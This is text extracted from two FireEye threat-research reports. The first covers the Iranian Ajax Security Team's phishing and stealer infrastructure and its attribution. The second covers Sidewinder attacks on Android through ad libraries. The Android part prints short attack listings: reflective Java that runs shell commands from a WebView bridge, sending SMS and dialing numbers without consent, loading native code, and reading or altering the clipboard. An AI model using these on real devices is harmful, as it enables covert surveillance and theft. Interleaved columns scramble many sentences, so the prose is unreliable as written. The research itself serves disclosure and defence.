contractor companies in the U.S.                      by keyvan.ajaxtm@gmail[.
]com—the same domain
used to register ajaxtm[.
]org, the website of the
The first cluster contains the domain used in the     Ajax Security Team.
The same email addresses
Aerospace Conference attack as well as the            were used to register variations of domain names
domains used in phishing attacks designed to          associated with popular services provided by
capture user credentials:                             companies such as Google, Facebook, Yahoo and
LinkedIn.
Figure 11: Ajax Security
Team’s Phishing
Infrastructure
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The second cluster comprises the CnC                  domains registered by osshom@yahoo[.
]com, many
infrastructure used in the anti-censorship attacks.
of which are consistent with the pattern of
The majority of the samples we analyzed connect       registering domains with associations to Google
to intel-update[.
]com and update-mirror[.
]com,        and Yahoo services.
We also observed crossover
which were registered by james.mateo@aim[.]com.
with a sample that connected to both intel-
The domain intel-update[.
]com resolved to the IP      update[.
]com and ultrasms[.
]ir, which was
address 88.150.227.197, which also hosted             registered by lvlr98@gmail[.
]com.
Figure 12: Ajax Security
Team’s Stealer CnC
Infrastructure
Figure 13: Overlap between the
phishing and stealer clusters
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Fireeye: Operation Saffron Rose 2013
These two clusters are linked by a common IP            found that the majority had either their timezone
address (5.9.244.151), which is used by both ns2.
set to “Iran Standard Time” or had their language
aeroconf2014[.
]org and office.windows-                  setting set to Persian:
essentials[.
]tk.
•	    44 had their timezone set to “Iran Standard
A third cluster of activity was found via analysis of         Time” (37 of those also have their language set
1d4d9f6e6fa1a07cb0a66a9ee06d624a.
This                        to Persian)
sample is a Stealer variant that connects to the
aforementioned intel-update[.
]com as well as            •	    Of the remaining 33, 10 have Persian
plugin-adobe[.]com.
The domain plugin-adobe[.]
language settings
com resolved to 81.17.28.235.
Other domains
seen resolving to IP address nearby include the         •	    12 have either Proxifier or Psiphon installed
following:                                                    or running (all 12 had a Persian language
setting and all but one had their timezone set
Aside from the sample connecting to plugin-                   to “Iran Standard Time”)
adobe[.
]com, we have not discovered any malware
connecting to these domains.
The largest concentration of victims is in Iran,
based on the premise that Persian language
Victimology                                             settings and “Iran Standard Time” correlate the
During our investigation, we were able to recover       victim to be geographically located in Iran.
As such,
information on 77 victims from one CnC server           we believe that attackers disguised malware as
that we discovered while analyzing malware              anti-censorship tools in order to target the users of
samples that were disguised as anti-censorship          such tools inside Iran as well as Iranian dissidents
tools.
While analyzing the data from the victims, we    outside the country.
Domain                          IP                          First Seen                  Last Seen
yahoomail.com.co                81.17.28.227                2013-11-28                  2014-4-10
privacy-google.com              81.17.28.229                2014-02-14                  2014-02-23
xn--google-yri.com              81.17.28.229                2013-12-08                  2014-01-15
appleid.com.co                  81.17.28.231                2014-02-20                  2014-02-20
accounts-apple.com              81.17.28.231                2013-12-31                  2014-02-20
users-facebook.com              81.17.28.231                2014-01-15                  2014-01-15
xn--facebook-06k.com 81.17.28.231                           2013-11-27                  2014-03-07
15 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
Attribution                                                                      several exploits for content management systems
The Ajax Security Team appears to have been                                      and engaged in defacements.25 Initially, the
formed by personas named “HUrr!c4nE!” and                                        defacements seemed to be motivated by a desire
“Cair3x” in 2010.24 Both members were engaged in                                 to demonstrate the group’s prowess—they even
website defacements prior to the forming of the                                  defaced an Iranian government website.26
Ajax Security Team, and both were members of
Iranian hacker forums such as ashiyane[.
]org and                                 However, the group appears to have become
shabgard[.]org.
Other members include “0day”,                                    increasingly political.
For example, in a blog post in
“Mohammad PK” and “Crim3r”.
The Ajax Security                                    2012, “Cair3x” announced the targeting of Iran’s
Team website at ajaxtm[.
]org had a Web forum                                     political opponents.
with at least 236 members.
The group published
Figure 14: Cair3x’s original
blog post and translation
Hacking anti-revolution political and opposition websites
Hello to everyone, After a while of operating underground
and enhancing our company’s projects and getting close to
24 June 2012, and the martyrdom of Ayatollah Dr. Beheshti
and 72 of Imam Khomeini’s (First and Former supreme
leader of Iran) followers, we have planned a project/
initiative to attack anti-revolution and political
websites against the Islamic Republic.
And in late hours
of Wednesday, June 24, 2012, we attacked these websites
and defaced them by writing the words “We are young but
we can” on their websites.
This is so the enemies of this
country know that the blood of our martyr will never be
in vain and they will always be remembered in the heart
of gallant Iranians.
24
By March 2010 HUrr!c4nE!
was identifying as a member of Ajax Security Team in exploit releases http://www.exploit-db.com/exploits/17011/ and the
first defacement archived by Zone-H, which lists both HUrr!c4nE!
and Cair3x as members was December 2010 http://www.zone-h.org/mirror/
id/12730879
25
http://osvdb.org/affiliations/1768-ajax-security-team http://www.exploit-db.com/author/?a=3223 http://packetstormsecurity.com/files/author/9928/
26
http://www.zone-h.org/mirror/id/13225183
16 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
In 2013, the Ajax Security Team, and “HUrr!c4nE!”                                  “HUrr!c4nE!” has the most open/documented
in particular, took part in “#OpIsrael” and                                        Internet persona of the Ajax Security Team.
He
“#OpUSA”.27                                                                        registered the ajaxtm[.
]org domain name using the
email address keyvan.ajaxtm@gmail[.]com.
This
By early 2014, the Ajax Security Team appears to                                   was also the email address used to register the
have dwindled.
There have been no defacements                                      domain aerospace2014[.
]org, which was used in
since December 2013.
The website and forum at                                      spear phishing attacks against companies in the
ajaxtm[.
]org operated by “HUrr!c4nE!”, aka                                         U.S. and is linked with malware activity directed at
“k3yv4n”, is no longer active.
users of anti-censorship tools in Iran.
Figure 15: Screenshot of the
defacement content used in
#OpUSA
27
Ashraf, N. “#OpIsrael: Hacktivists Starting Cyber Attack against Israel on 7th of April”.
March 2013.
“OpUSA Targeting Government & Financial Sectors on
07 May 2013: Likely Tools, Targets and Mitigating Measures”.
May 2013.
17 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
“HUrr!c4nE!” features prominently in all the                                        For example, the Ajax Security Team could just be
group’s activities and defacements.
Although there                                  using anti-censorship tools as a lure because they
has been a decline in public-facing Ajax Security                                   are popular in Iran, in order to engage in activities
Team activity, this coincides with an increase in                                   that would be considered traditional cybercrime.
In
malware activity linked to the group’s                                              one case, “HUrr!c4nE!”, using the email address
infrastructure.
keyvan.ajaxtm@gmail[.
]com, has been flagged for
possible fraud by an online retailer.
While
• ~2009—Membership in ashiyane.org and                                              “HUrr!c4nE!” is engaged in operations that align
shabgard.org forums                                                                 with Iran’s political objectives, he may also be
dabbling in traditional cybercrime.
• 2010 – 2012—Defacements, Release of exploits
for CMS                                                                             This indicates that there is a considerable grey area
between the cyber espionage capabilities of Iran’s
• 2012 – 2013—Increasing politicization,                                            hacker groups and any direct Iranian government
participation on #OpIsrael, #OpUSA                                                  or military involvement.
• 2013 – 2014—Transition to cyber-espionage                                         On the spectrum of state responsibility, these
attacks align with state-encouraged attacks, which
The increasing politicization of the Ajax Security                                  are defined as attacks in which:
Team aligns with the timing of their activities
against the perceived enemies of Iran.
In addition                                  Third parties control and conduct the attack, but
to attacking companies in the U.S., they have                                       the national government encourages them as a
targeted domestic users of anti-censorship                                          matter of policy.28
technology.
Recruiting hackers through this model allows Iran
While the objectives of this group are consistent                                   to influence their activities, and provides the
with Iran’s efforts at controlling political dissent                                Iranian government plausible deniability, but a lack
and expanding offensive cyber capabilities, the                                     of direct control also means that the groups may be
relationship between this group and the Iranian                                     unpredictable and engage in unsanctioned attacks.
government remains inconclusive.
Figure 16: Screenshot
of an online retailer’s
fraud alert
28
Healey, J.
“Beyond Attribution: Seeking National Responsibility for Cyber Attacks”.
January 2012.
18 www.fireeye.com
Fireeye: Operation Saffron Rose 2013
Conclusion                                               About FireEye
The increased politicization of the Ajax Security        FireEye has invented a purpose-built, virtual
Team, and the transition from nuisance                   machine-based security platform that provides
defacements to operations against internal               real-time threat protection to enterprises and
dissidents and foreign targets, coincides with           governments worldwide against the next
moves by Iran aimed at increasing offensive cyber        generation of cyber attacks.
These highly
capabilities.
While the relationship between actors      sophisticated cyber attacks easily circumvent
such as the Ajax Security Team and the Iranian           traditional signature-based defenses, such as
government is unknown, their activities appear to        next-generation firewalls, IPS, anti-virus, and
align with Iranian government political objectives.
gateways.
The FireEye Threat Prevention Platform
provides real-time, dynamic threat protection
The capabilities of the Ajax Security Team remain        without the use of signatures to protect an
unclear.
This group uses at least one malware            organization across the primary threat vectors and
family that is not publicly available.
We have not       across the different stages of an attack life cycle.
directly observed the Ajax Security Team use
exploits to deliver malware, but it is unclear if they   The core of the FireEye platform is a virtual
or other Iranian actors are capable of producing or      execution engine, complemented by dynamic
acquiring exploit code.
threat intelligence, to identify and block cyber
attacks in real time.
FireEye has over 1,500
While the Ajax Security Team’s capabilities remain       customers across more than 40 countries,
unclear, we know that their current operations           including over 100 of the Fortune 500.
have been somewhat successful as measured by
the number of victims seen checking into to an Ajax
Security Team controlled CnC server.
We believe
that if these actors continue the current pace of
their operations they will improve their capabilities
in the mid-term.
We thank Kenneth Geers and Jen Weedon for their support and analysis on
these findings.
FireEye, Inc. | 1440 McCarthy Blvd.
Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com
© 2014 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye,
Inc. All other brands, products, or service names are or may be trademarks or service
marks of their respective owners.
– RPT.OSR.EN-US.082014
19 www.fireeye.com
REPORT
SIDEWINDER
TARGETED ATTACK
AGAINST ANDROID
IN THE GOLDEN
AGE OF AD
LIBRARIES
SECURITY
REIMAGINED
FireEye: Sidewinder Targeted Attack against Android
CONTENTS
Introduction................................................................................................................................................................................................................................................................................................................................................ 3
Sidewinder Targeted Attack Overview............................................................................................................................................................................................................................. 3
Warhead: Attacking Vulnerabilities of Android........................................................................................................................................................................................ 5
Piercing The Armor................................................................................................................................................................................................................................................................................................. 5
Detonation without Android Context.................................................................................................................................................................................................................... 7
Detonation with Android Context................................................................................................................................................................................................................................... 8
Targeting Victims Based on Ad Traffic............................................................................................................................................................................................................................ 11
Communication Channels Prone to Hijack.......................................................................................................................................................................................... 11
Information Leakage from Ad Libraries....................................................................................................................................................................................................... 11
Large-scale Monitoring and Precise Hijacking........................................................................................................................................................................... 12
Targetable and Exploitable Google Play Apps ......................................................................................................................................................................................... 13
Conclusion................................................................................................................................................................................................................................................................................................................................................. 20
2 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Introduction                                                                     Finally, we show that this threat is not only real
By 2014, the number of Android users has                                         but also prevalent due to the popularity of
grown to 1.1 billion and the number of Android                                   Android ad libraries.
We hope this paper
devices has reached 1.9 billion1.
At the same                                    kickstarts the conversation on how to better
time, enterprises are also embracing Android-                                    protect the security and privacy in third-party
based Bring Your Own Device (BYOD) solutions.
libraries and how to further harden the Android
For example, in Intel’s BYOD program, there are                                  security framework in the future.
more than 20,000 Android devices across over
800 combinations of Android versions and
hardware configurations2.
Sidewinder Targeted Attack Overview
Although little malware has been found in Google                                 To understand the security risks brought by a
Play, both Android apps and the Android system                                   Sidewinder Targeted Attack, we first explain one
itself contain vulnerabilities.
Aggressive ad                                    possible attack mechanism (illustrated in Figure 1)
libraries also leak the user’s private information.
that is similar to that of Sidewinder missiles.
The
By leveraging all these vulnerabilities, an attacker                             attacker can hijack the network where the
can conduct more targeted attacks, which we call                                 targeted victim resides.
Like an infrared homing
“Sidewinder Targeted Attacks.” In this paper we                                  system, the attacker then seeks “emission” from ad
explain the security risks from such attacks, in                                 libraries running on the target device to track and
which an attacker can intercept and use private                                  lock on it.
Once the target is locked on, the
information uploaded from ad libraries to                                        attacker can launch advanced persistent attacks.
precisely locate targeted areas such as a CEO’s                                  To minimize detection chances, the attacker can
office or specific conference rooms.
When the                                    choose to take action on important targets only,
target is identified, a “Sidewinder Targeted Attack”                             ignoring all other devices.
In later sections, we
exploits popular vulnerabilities in ad libraries, such                           discuss attacking (“warhead”) and targeting
as Javascript-binding-over-HTTP or dynamic-                                      (“homing”) components in detail and show how a
loading-over-HTTP, etc.
combination of these components can launch
powerful and precise attacks on target devices.
It is a well-known challenge for an attacker to call
Android services from injected native code that                                  Table 1 proposes different attacks that an
doesn’t have Android application context.
Here,                                  attacker can launch remotely on target devices
we explain how attackers can invoke Android                                      through vulnerable ad libraries.
Figure 2 shows a
services for tasks including taking photos, calling                              proof-of-concept attack control interface.
This
phone numbers, sending SMS, reading from/                                        attack targets one of the ad libraries described in
writing to the clipboard, etc.
Furthermore, the                                  this paper.
The security risks become obvious by
attackers can exploit several Android                                            looking at what the attacker can do with this
vulnerabilities to get valuable private information                              control interface.
The left panel enables the
or to launch more advanced attacks.
attacker to command the victim's device,
1
Ranjit Atwal, Lillian Tay, Roberta Cozza, Tuong Huy Nguyen, Tracy Tsai, Annette Zimmermann, and CK Lu.
Forecast: Pcs, ultramobiles and mobile phones,
worldwide, 2010-2017, 4q13 update.
Gartner, 2013.
2
Rob Evered, Steve Watson, Paul Dockter, and Derek Harkin.
Android devices in a byod environment.
Intel White Paper, 2013.
3 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
including uploading local files, taking pictures,                 installed app list, clipboard, a photo taken from
recording audio/video, manipulating the                           the back camera, an audio clip, and a video clip
clipboard, sending SMS, dialing numbers,                          have been uploaded, with the GPS location
implanting bootkit, or installing the attacker’s                  intercepted from the ad library.
The panel also
apps uploaded to Google Play, etc.
The right                      pins down the GPS location of the victim’s
panel lists all information stolen from the                       device onto a Google Map widget.
victim’s device.
In this screenshot, the victim’s
Figure 1:
Illustration of
the Sidewinder
Info uploaded from ad libs
Targeted Attack
Scenario
Attack Overview                                                                                        Serving Normal ad
Injecting attack payload
Comman & Control
Device A
Device
Victim
Device B                               Attacker’s                         Actual
Server                          Ad Server
Table 1: Outline                     API Level                                        ≤ API 16                                      > API 16
of the Sidewinder
Targeted                            Attack Vector                               JBOH and DLOH                                      JS Sidedoor
Attack through                     31.08%                     (w/ Android Context )         (w/o Android Context )
Vulnerable Ad                                                                                       51.04%              48.96%
Libraries
68.92%   Clipboard manipulation       Local files uploading Root
Launcher settings          exploit & Code injection             Abusing privileged
Attacks
modification Proxy                                                  interfaces
modification            Implanting bootkit Sending
SMS Making phone calls
Taking pictures Audio &
video recording Stealthy
app installation
4 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Based on this precise position information, it is easy to identify individuals or groups of “VIP” targets by
which offices they are in.
Figure 2: The
control panel of
the attacker, and
the files uploaded
from the victim
Warhead: Attacking Vulnerabilities                                             (Android 4.1) or below.
As noted by Google: “Use
of Android                                                                     of this method in a WebView containing
untrusted content could allow an attacker to
Piercing The Armor                                                             manipulate the host application in unintended
In this section, we explain in more detail the risks                           ways, executing Java code with the permissions
of remote attacks on the Android devices.
of the host application.”3
Attacking JavaScript Binding over                                              In particular, if an app running on Android API 16
HTTP (JBOH)                                                                    or below uses the JavaScript binding method
Android uses the JavaScript binding method                                     addJavascriptInterface and loads the content
addJavascriptInterface to enable JavaScript                                    in the WebView over HTTP, an attacker over the
code running inside a WebView to access the                                    network could hijack the HTTP traffic (e.g.,
app’s Java methods (also known as the Javascript                               through WiFi or DNS hijacking) to inject
bridge).
However, it is widely known that this                                 malicious content into the WebView and to
feature, if not used carefully, presents a potential                           control the host application.
Listing 1 is a sample
security risk when running on Android API 16                                   Javascript snippet to execute shell command.
3
http://developer.android.com/reference/android/webkit/WebView.html# addJavascriptInterface(java.lang.
Object,%20java.lang.
String).
5 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Figure 3: Target
SDK statistics of
popular Google
Play apps                        31.08%                                        API <=16                                                         API <=16
API >=16                          51.04%                48.96%   API >16
68.92%
(a) Statistics by app number                                                     (b) Statistics by app download count
Listing 1: Sample
Javascript snippet            jsObj.getClass().forName(”java.lang.
Runtime”)
to execute shell              	.getMethod(”getRuntime”,null).invoke(null,null).exec(cmd)
command
We call this the JavaScript-Binding-Over-HTTP                                    Attacking Annotated JavaScript
(JBOH) vulnerability4.
This applies to insecure                                  Binding Interfaces
HTTPS channels as well.
If an app containing such                                Starting with Android 4.2 (API>16), Google
vulnerability has sensitive Android permissions                                  introduced the @JavascriptInterface
such as access to the camera, a remote attacker                                  anno- tation6 to explicitly designate and restrict
could exploit it to perform sensitive tasks such as                              which public Java methods in the app were
taking photos or recording video, over the                                       accessible from JavaScript running inside
Internet, without consent.
Based on the official                                 a WebView.
However, if an ad library uses the
data in June 20145, ~60% of Android devices are                                  @JavascriptInterface annotation to expose
still running API≤16.
security-sensitive interfaces, and uses HTTP to
load content in the WebView, it is vulnerable to
Note that API>16 platforms are not necessarily                                   attacks where an attacker over the network
secure.
If the app is targeting at a lower API                                   could inject malicious content into the WebView
level, Android will still run it with the lower API                              to misuse the interfaces exposed through the JS
level for compatibility reasons.
Figure 3 shows                                  binding annotation.
We call these exposed JS
the targeted API of popular Google Play apps,                                    binding annotation interfaces “JS Sidedoors.”
each of which has over 50,000 downloads.
We
can see that a large portion of apps are                                         For example, we found a list of sensitive
targeting at API≤16.
Javascript interfaces that are publicly ex- posed
from certain versions of a real-world ad library:
4
http://www.fireeye.com/blog/technical/2014/01/js-binding-over-http- vulnerability-and-javascript-sidedoor.html.
5
https://developer.android.com/about/dashboards/index.html.
6
http://developer.android.com/reference/android/webkit/ JavascriptInterface.html.
6 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
createCalendarEvent, makeCall,                                           functionalities, especially remote call invocations,
postToSocial, sendMail, sendSMS,                                         are encapsulated in the context.
We discuss
takeCameraPicture, getGalleryImage,                                      attacks requiring context in a later section.
In this
registerMicListener, etc4.
Given that this ad                            section, we explain attacks that don’t need
library loads ads using HTTP, if the host app has                        Android context, and discuss their security risks.
the corresponding permissions (e.g., CALL
PHONE), attackers over the network can abuse                             Root Exploits and Code Injection
these interfaces to do malicious things (e.g.,                           One direct threat posed by JBOH is to use the
utilizing the makeCall interface to dial phone                           JBOH shell (Listing 1) to download exe- cutables
numbers without the user’s consent).
and use them to root the device.
Commercial
one-touch root apps claim they can root more
Security Issues with DEX Loading over                                    than 1,000 brands (>20,000 models) 8.
HTTP (DLOH)                                                              towelroot 9, which exploits a bug found
Similar to JBOH, DEX loading over HTTP or                                recently in Linux kernel, claims that it can root
insecure HTTPS (DLOH) is another serious issue                           most new devices released before June 2014.
raised by ad libraries.
If the attackers can hijack                      Thus, as long as attackers can get the JBOH shell,
the communication channels and inject malicious                          they have the tools to obtain root on most
DEX files, they can then control the behaviors of                        Android phone models.
the victim apps.
Even if the attackers can’t obtain root, they can
Detonation without Android Context                                       attempt ptrace 10 to control the host app.
After getting local access, the attacker can upload                      Although only processes with root privilege can
private and sensitive files from the victim’s device,                    ptrace others, child processes are able to
or modify files that the host app can write to (e.g.,                    ptrace their parents.
Because the shell
the directory of the host app and SD Card with                           launched from the Javascript bridge is a child
FAT file system).
process of the host app, it can ptrace the host
app’s process.
Note that only apps with
To launch more sophisticated attacks like sending                        android:debuggable set as “true” in the manifest
SMS or taking pictures, the attackers may use                            can be ptraced, which limits its adoption.
Java reflection to call other APIs from the
Javascript bridge.
It appears this method makes                          Sending SMS and Dialing Numbers without
sending SMS easy.
However, some other                                    User Consent
operations require Android context 7 or                                  Sending SMS does not require context or user
registering Java callbacks.
Android context                              interaction.
A simple call does the job, as
provides an interface to the global information                          shown in Listing 2
about an app’s environment.
Many Android
Listing 2: Sending
SMS without user             SmsManager.getDefault().sendTextMessage(phoneNumber,null,message,null,null);
consent
7
http://developer.android.com/reference/android/content/Context.html.
8
http://shuaji.360.cn/root/.
9
http://towelroot.com/.
10
http://linux.die.net/man/2/ptrace.
7 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
To make calls from the Javascript bridge                                       Javascript bridge.
Code in Listing 4, for
without user consent, we can invoke the                                        example, is an easy way to get context from
telephony service to dial numbers directly via                                 anywhere of the application.
binder, as shown in Listing 3, where phone is
the remote Android telephony service and the                                   Operations like taking pictures and recording
number 2 represents the second remote call.
videos need to register Java callbacks.
The
s16 is the type marker represents “16 bit                                      attackers either need to boot a Java VM from
string,” and packageName is the host app’s                                     the Javascript bridge, or to inject code into
package name, where we can obtain from the                                     the host app’s Java VM.
information posted from the ad libraries.
The
sequence number of the remote calls can be                                     Fortunately, Android Runtime offers another
found in the corresponding Android Interface                                   way to load Java Native Interface (JNI) code
into the host app using Runtime.load().
As
Definition Language (AIDL) files 11.
Many other                                shown in Listing 5, an attacker can load
Android services can be invoked in the same                                    executables compiled from JNI code.
Once
way, including sending SMS                                                     loaded, the code can obtain context as described
in Listing 4, or call DexClassLoaderload12 to
Detonation with Android Context                                                inject new classes from the attackers’ DEX
As mentioned, it is more convenient to                                         files to register callbacks to take pictures/
directly obtain the Android context via the                                    record videos.
Listing 3: Dial
numbers without               Runtime.getRuntime()
user consent                  	   .exec(”service call phone 2 s 16 ”+ packageName +” s16” + phoneNumber);
Listing 4: Sample
code to obtain                // We omit all try−catch statements and other unimportant code in this paper
context
public ContextgetContext(){
finalClass<?>activityThreadClass=Class
.forName(”android.app ActivityThread”);
finalMethodmethod=activityThreadClass
.getMethod(”currentApplication”);
return(Application)method.invoke(null,(Object[])null);
}
http://developer.android.com/guide/components/aidl.html.
11
http://developer.android.com/reference/dalvik/system/DexClassLoader.
html.
12
8 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
There are other ways to obtain Android context,                               Using these APIs, the attackers can monitor
like reflecting to the private static context                                 changes to a clipboard and transfer the
variable of WebView13.
However, without Java                                  clipboard contents to some remote server.
VM instances, it’s difficult to take pictures and                             They can also alter the clipboard content to
record videos.
After our submission to Black Hat                              achieve phishing goals.
For example, the user
in April 2014, we noticed that MWR was also                                   may copy a link to visit and the background
concurrently and independently working on this                                malicious service can change that link to a
issue.
They published a similar mechanism in                                  phishing site.
We have notified Google about
June 201414.                                                                  this issue.
Clipboard Monitoring nd Tampering                                             Launcher Settings Modification
With the Android context, an attacker can                                     Android Open Source Project (AOSP) classifies
monitor or tamper with the clipboard.
Android                                 Android permissions into several protec- tion
users may perform copy-paste on important text                                levels: “normal,””dangerous,” “system,”
content.
For example, there are many popular                                  “signature” and “development”15,16,17.
Dangerous
password-management apps in Google Play,                                      permissions“may be displayed to the user and
enabling the users to click-and-copy passwords                                require confirmation before pro- ceeding, or
Listing 5: Sample
Javascript snippet            jsObj.getClass().forName(”java.lang.
Runtime”)
to load JNI binary            	   .getMethod (”getRuntime”,null).invoke(null,null).load(binaryPath );
into the host app’s
Java VM
Listing 6: API
calls to peek into/           ClipboardManager.getText()
tamper with the               ClipboardManager.hasPrimaryClip()
ClipboardManager.setText()
clipboard                     Clipboard Manager.setPrimaryClip()
ClipboardManager.hasText()
ClipboardManager.addPrimaryClipChangedListener()
ClipboardManager.getPrimaryClip()
and paste them into login forms.
Malicious                                    some other approach may be taken to avoid
apps can steal the passwords if they can read                                 the user automatically allowing the use of such
the contents on clipboard.
Android has no                                     facilities.”In contrast, normal permissions are
permissions restricting apps from accessing                                   automatically granted at installation, “without
the global clipboard.
Any UID has the capability                              asking for the user’s explicit approval (though
to manipulate clipboard via the API calls in Listing 6:                       the user always has the option to review these
13
http://www.weibo.com/p/1001603724694418249344?utm_source=weibolife.
14
https://labs.mwrinfosecurity.com/blog/2014/06/12/putting-javascript- bridges-into-android-context.
15
http://developer.android.com/guide/topics/manifest/permission-element.html.
16
https://android.googlesource.com/platform/frameworks/base/+/master/ core/res/AndroidManifest.xml.
17
https://android.googlesource.com/platform/packages/apps/Launcher2/+/ master/AndroidManifest.xml.
9 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
permissions before installing)”15.
If an app requests                         corresponding field.
Note that the
both dangerous permissions and normal                                         proxySettings field is a private Java field not
permissions, Android only displays the dangerous                              intended to be accessed by other processes.
per- missions by default.
If an app requests only                             Unfortunately, the flexible and powerful Java
normal permissions, Android doesn’t display any                               reflection mechanism (especially the forName(),
permission to the user.
getField(), setAccessible() calls) exposes
such components to the attackers for arbitrary
We have found that certain “normal” permissions                               read or write operations.
have dangerous security impacts18.
For example,
the attackers can manipulate Android home                                     Taking Pictures and Recording Audio/Video
screen icons using two normal permissions:                                    without User Interaction
launcher READ SETTINGS and WRITE                                              Android audio recording via the MediaRecorder
SETTINGS permissions.
These two permissions                                   APIs does not need user interaction or
enable an app to query, insert, delete, or modify                             consent, which makes it easy to record sound
all launcher configuration settings, including icon                           in the background.
insertion or modification.
On the contrary, taking pictures and recording
As a proof-of-concept attack scenario, a malicious                            videos are more challenging.
First, this requires
app with these two permissions can query/insert/                              registering Java callbacks.
Second, Android warns
alter the system icon settings and modify                                     that “Preview must be started before you can take
legitimate icons of some security- sensitive apps,                            a picture”19.
It seems that taking pictures and
such as banking apps, to a phishing website.
recording videos without user notification is
impossible.
However, security largely depends on
After our notification, Google has patched this                               the correct implementation and enforcing a
vulnerability in Android 4.4.3 and has released the                           flawless implementation is difficult.
On some of
patch to its OEM partners.
However, according to                              the popular phones (models anonymized for
Google5, by 7 July 2014, 17.9% Android devices                                security consideration), startPreview() is
are using Android 4.4.
Given that Android 4.4.2                               required to take pictures/record videos;
and below has this vulnerability, over 82.1%                                  However, it’s highly possible that on these
Android devices are vulnerable.
devices takePicture() fails to check whether a
view has been presented to the user.
Proxy Modification                                                            Fortunately, we have never witnessed a case
With the CHANGE WIFI STATE permission,                                        where the MediaRecorder can shoot videos
Android processes can change the proxy                                        without calling setPreviewDisplay.
But we
settings of WIFI networks (not solely the currently                           were able to create and register a dummy
connected one).
To do this, the attacker can use                              SurfaceView to the WindowManager, which made
the remote calls exposed by WifiManager to                                    taking photos and videos possible even on
obtain the WifiConfiguration objects, then                                    devices that properly checked for an
create new proxySettings to replace to a                                      existing preview.
http://www.fireeye.com/blog/technical/2014/04/occupy_your_icons_ silently_on_android.html.
18
http://developer.android.com/reference/android/hardware/Camera.html.
19
10 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
Stealthy App Installation by Abusing                                         case with the attackers eavesdropping or hijacking
Credentials                                                                  the HTTP traffic.
Switching to HTTPS may not
With both the GET ACCOUNTS and the USE                                       solve this issue since the HTTPS security relies on
CREDENTIALS permissions, Android pro- cesses                                 a flawless implementation, which is difficult.
For
can get secret tokens of services (e.g., Google                              example, there are cases where the developer
services) from the AccountManager and use them                               failed (intentionally or unintentionally) to check
to authenticate to these services20.
We verified                             the server’s certificate21.
We found that some of
that Android apps with these two permissions can                             the most popular ad libraries (see Table 3) have
authenticate themselves with the user’s Google                               this issue.
We successfully launched Man-in-the-
account, allowing access to Google Play and the                              Middle (MITM) attacks and intercepted the data
ability send app installation requests.
Through the                          uploaded to the remote server.
Note that even if
Javascript bridge, attackers can install apps of                             the ad libraries have a correct and rigorous
choice (e.g., an attacker’s phishing app) to any                             implementation, the SSL library itself may contain
devices registered in user’s account in the                                  serious vulnerabilities that can be exploited by
background without user consent.
Combined                                    MITM attacks22,23.
with the launcher modification attack introduced
earlier, the attackers can redirect other app icons                          Information Leakage from Ad Libraries
(e.g., bank or email app icons) to the phishing app                          Almost every ad library uploads local information
and steal the user’s login credentials.
from Android devices.
Based on our observations,
they do so mostly for purposes such as checking
Targeting Victims Based on Ad Traffic                                        for platform compatibility and user interest
In this section, we explain the risks of victims’                            targeting.
The information most frequently
devices being tracked and targeted through                                   uploaded includes IMEI, Android version,
ad traffic.
manufacturer, Android ID, device specification,
carrier information, host app information,
Communication Channels Prone to Hijack                                       installed app list, etc.
Table 3 lists the info
It is well known that communication via HTTP is                              uploaded from the top five popular ad libraries.
prone to hijacking and data tamper- ing.
Though
ad libraries may not have the incentive to abuse                             Listing 7 is a captured packet posted to the
users’ private and sensitive data, this is not the                           remote ad server by one of the ad libraries.
It is
Listing 7: API
calls to peek into/           requestactivity=AdRequest&d-device-screen-density=1.5&d-device-screen-
tamper with the               size=320X533&u-appBId=com.example.app&u-appDNM=Example&u-appVer=1.2&h-user-
agent=Mozilla
clipboard                     %2F5.0+%28Linux%3B+U%3B+Android+4.1.2%3B+en-us%3B+sdk+Build%2FMASTER%
29+AppleWebKit%2F534.30+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Mobile+Safari
%2F534.30&d-localization=en_us&d-netType=umts&d-orientation=1&u-latlong-accu=
37.410835%2C-121.920514%2C
20
http://seclists.org/bugtraq/2014/Mar/52.
21
Sascha Fahl, Marian Harbach, Thomas Muders, Lars Baumga¨rtner, Bernd Freisleben, and Matthew Smith.
Why eve and mallory love android: An analysis
of android ssl (in) security.
In Proceedings of the 2012 ACM conference on Computer and communications security, pages 50–61.
ACM, 2012.
22
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224.
23
http://www.fireeye.com/blog/technical/2014/04/if-an-android-has-a- heart-does-it-bleed.html.
11 www.fireeye.com
FireEye: Sidewinder Targeted Attack against Android
captured from a popular Google Play app.
From                                DNS hijacking is legally and maliciously used in
this packet we can tell the device’s screen density                          many situations including traffic management,
(d-device-screen-density), screen size (d-device-                            phishing and censorship.
Attackers successfully
screen-size), host app’s pack- age name (u-appBId),                          compromised many DNS servers, including the
host app’s name (u-appDNM)1, host app’s version                              ones from Google and Godaddy24.
By DNS
(u-appVer), user agent (h-user-agent), localization                          hijacking, attackers can effectively access all the
(d-localization), mobile network type (d-netType),                           traffic to ad servers.
screen orientation (d-orientation), and GPS
location (u-latlong-accu).
The most important                                BGP hijacking takes over groups of IP addresses,
infor- mation is the GPS location, where the                                 corrupting Internet routing tables by breaking
victim’s latitude, longitude and the location                                BGP sessions or injecting fake BGP information.
precision are shown.
It is reasonable for an ad to                           This enables attackers to monitor all traffic to
obtain this information to improve the ad-serving                            specific IPs.
Historically, there were many BGP
experience.
However, with this information, an                               hijacking attacks that affected YouTube, DNS root
attacker can precisely locate the victim and                                 servers, Yahoo, and many other important
acquire the device’s specifications.
Internet services25.
Large-scale Monitoring and Precise Hijacking                                 ARP hijacking (or spoofing) in IDC26 is done to
To locate victims effectively, an attacker needs to                          hijack the traffic to the ad server in the IDC where
monitor large-scale network traffic containing                               the ad server locates through fake ARP packets.
such private information.
